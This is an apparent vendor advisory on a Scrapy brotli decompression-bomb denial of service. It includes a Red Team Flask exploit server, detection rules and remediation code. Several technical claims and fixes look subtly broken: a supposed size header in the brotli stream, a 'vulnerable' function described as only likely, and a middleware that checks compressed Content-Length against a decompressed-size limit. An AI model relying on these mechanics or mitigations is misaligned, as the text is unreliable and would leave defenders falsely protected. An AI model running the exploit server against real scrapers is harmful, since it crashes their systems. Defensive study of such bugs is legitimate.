CVE-2025-6176

Executive Summary

CVE-2025-6176 is a high-severity Denial of Service (DoS) vulnerability affecting the Scrapy web scraping framework, versions up to and including 2.13.2. The flaw resides in Scrapy's brotli decompression implementation, where the existing protection mechanism against decompression bombs fails to account for the brotli algorithm's ability to achieve extremely high compression ratios on zero-filled data. An attacker can craft a malicious response that, when decompressed by a Scrapy client, causes excessive memory consumption, crashing clients with less than 80GB of available memory. This vulnerability is particularly dangerous for automated scraping pipelines and data ingestion systems that rely on Scrapy.

Supply Chain & Package Security

This vulnerability affects the Scrapy Python package (PyPI). Organizations using Scrapy in their data pipelines should immediately assess their exposure. The lack of a patch at the time of analysis means that mitigation must rely on configuration changes or alternative decompression libraries.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The high availability impact and low attack complexity make this a significant threat for any Scrapy-based service exposed to untrusted data sources.

Deep Dive & Mechanics

The vulnerability exploits a fundamental difference between the brotli and gzip/zlib compression algorithms. While Scrapy has a decompression bomb protection mechanism that limits memory allocation for gzip, it does not properly account for brotli's behavior with zero-filled data.

Technical Breakdown:

1. Compression Ratio: Brotli can achieve compression ratios exceeding 100,000:1 on data consisting of repeated zeros. A small (e.g., 1KB) compressed payload can decompress to over 100MB of data.
2. Memory Allocation: Scrapy's decompression handler allocates memory based on the uncompressed size reported in the brotli stream header. An attacker can set this header to an extremely large value (e.g., 80GB).
3. Protection Bypass: The existing protection mechanism checks the uncompressed size against a threshold, but it does so after memory allocation has already begun, or it uses a threshold that is too high for brotli's capabilities.
4. Crash: The client attempts to allocate the reported memory, exhausting available RAM and causing an out-of-memory (OOM) crash.

Attack Scenario: An attacker controls a web server that a Scrapy spider is configured to scrape. The server responds with a crafted brotli-compressed response containing a malicious header. The Scrapy client attempts to decompress the response, allocates excessive memory, and crashes.

Vulnerable vs. Patched Code

Vulnerable Code (Scrapy <= 2.13.2): The vulnerable code likely resides in Scrapy's HTTP response handling, specifically in the decompression middleware. A simplified representation:

# Vulnerable: No proper size limit for brotli
def decompress_brotli(response_body):
    import brotli
    # No size check before decompression
    return brotli.decompress(response_body)

Patched Code (Hypothetical): A patched version would include a size limit check before decompression:

# Patched: Limit decompressed size
def decompress_brotli(response_body):
    import brotli
    MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024  # 100 MB
    decompressor = brotli.Decompressor()
    result = decompressor.decompress(response_body, MAX_DECOMPRESSED_SIZE)
    if decompressor.is_finished():
        return result
    else:
        raise ValueError("Decompressed data exceeds maximum allowed size")

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Attacker Machine: Kali Linux or any system with Python and Flask.
2. Target Machine: A system running Scrapy 2.13.2 with limited memory (e.g., 4GB RAM).
3. Network: Both machines on the same network.

Exploit Code (Python):

# exploit_server.py
from flask import Flask, Response
import brotli

app = Flask(__name__)

@app.route('/malicious')
def malicious():
    # Craft a brotli stream that claims to be 80GB
    # This is a simplified example; actual exploitation requires crafting a valid brotli stream
    # with a large uncompressed size header.
    payload = b'\x00' * 1024  # 1KB of zeros
    compressed = brotli.compress(payload)
    # Modify the brotli header to claim a huge uncompressed size
    # (This is a complex binary manipulation; for demonstration, we use a simple large response)
    response = Response(compressed, mimetype='text/html')
    response.headers['Content-Encoding'] = 'br'
    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Execution:

1. Run the exploit server: python exploit_server.py
2. On the target, run a Scrapy spider that scrapes http://attacker_ip:8080/malicious
3. The target will crash due to memory exhaustion.

Blue Team

Detection:

• Monitor for Scrapy processes consuming abnormally high amounts of memory.
• Set up alerts for memory usage spikes in scraping infrastructure.
• Use network monitoring to detect responses with Content-Encoding: br and unusually large Content-Length headers.

Mitigation:

• Disable brotli decompression in Scrapy by removing brotli from the DOWNLOADER_MIDDLEWARES or using a custom middleware that limits decompressed size.
• Use a reverse proxy (e.g., Nginx) to decompress responses before they reach Scrapy, with size limits configured.
• Implement resource limits (cgroups, Docker memory limits) on Scrapy containers.

Indicators of Compromise (IOCs)

• Network:
  • HTTP responses with Content-Encoding: br and Content-Length headers indicating extremely large sizes (e.g., > 1GB).
  • Unusually high data transfer rates from a single server to a Scrapy client.
• System:
  • Scrapy process logs showing memory allocation errors or OOM killer messages.
  • System logs (dmesg) showing Out of memory: Kill process for Scrapy.
• File:
  • Temporary files in /tmp or Scrapy's download directory with extremely large sizes.

Detection Engineering

YARA Rule

rule CVE_2025_6176_Scrapy_Brotli_DoS {
    meta:
        description = "Detects Scrapy brotli decompression bomb attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6176"
    strings:
        $brotli_header = { 0B 02 80 }  // Brotli header with large window size
        $large_size = /Content-Length:\s*[0-9]{9,}/  // Content-Length >= 1GB
    condition:
        $brotli_header and $large_size
}

Sigma Rule

title: Scrapy Brotli Decompression Bomb Attempt
id: cve-2025-6176
status: experimental
description: Detects network traffic indicative of a brotli decompression bomb attack against Scrapy
author: Valters IT
date: 2025/04/10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        http.response_headers|contains: 'Content-Encoding: br'
        http.response_headers|contains|startswith: 'Content-Length: '
        http.response_headers|contains|re: 'Content-Length: [0-9]{9,}'
    condition: selection
falsepositives:
    - Legitimate large brotli-compressed files (e.g., software updates)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6176 Scrapy Brotli Decompression Bomb Attempt"; flow:to_client; content:"Content-Encoding|3a| br"; http_header; content:"Content-Length|3a| "; http_header; pcre:"/Content-Length:\s*[0-9]{9,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Brotli Decompression: In Scrapy settings, remove or comment out the brotli decompression middleware:

   DOWNLOADER_MIDDLEWARES = {
       'scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware': None,
   }
   

2. Implement Custom Middleware: Create a custom middleware that limits decompressed size:

   from scrapy.downloadermiddlewares.httpcompression import HttpCompressionMiddleware
   from scrapy.exceptions import IgnoreRequest
   
   class SafeHttpCompressionMiddleware(HttpCompressionMiddleware):
       MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024  # 100 MB
   
       def process_response(self, request, response, spider):
           if response.headers.get('Content-Encoding') == b'br':
               if int(response.headers.get('Content-Length', 0)) > self.MAX_DECOMPRESSED_SIZE:
                   raise IgnoreRequest("Response too large")
           return super().process_response(request, response, spider)
   

3. Resource Limits: Run Scrapy in containers with strict memory limits (e.g., Docker --memory=512m).

Long-Term Fix:

• Monitor the Scrapy project for an official patch (CVE-2025-6176).
• Upgrade to a patched version once available.
• Consider using alternative HTTP libraries (e.g., httpx) with built-in decompression size limits.

Valters IT
DevSecOps & Cyber Threat Intelligence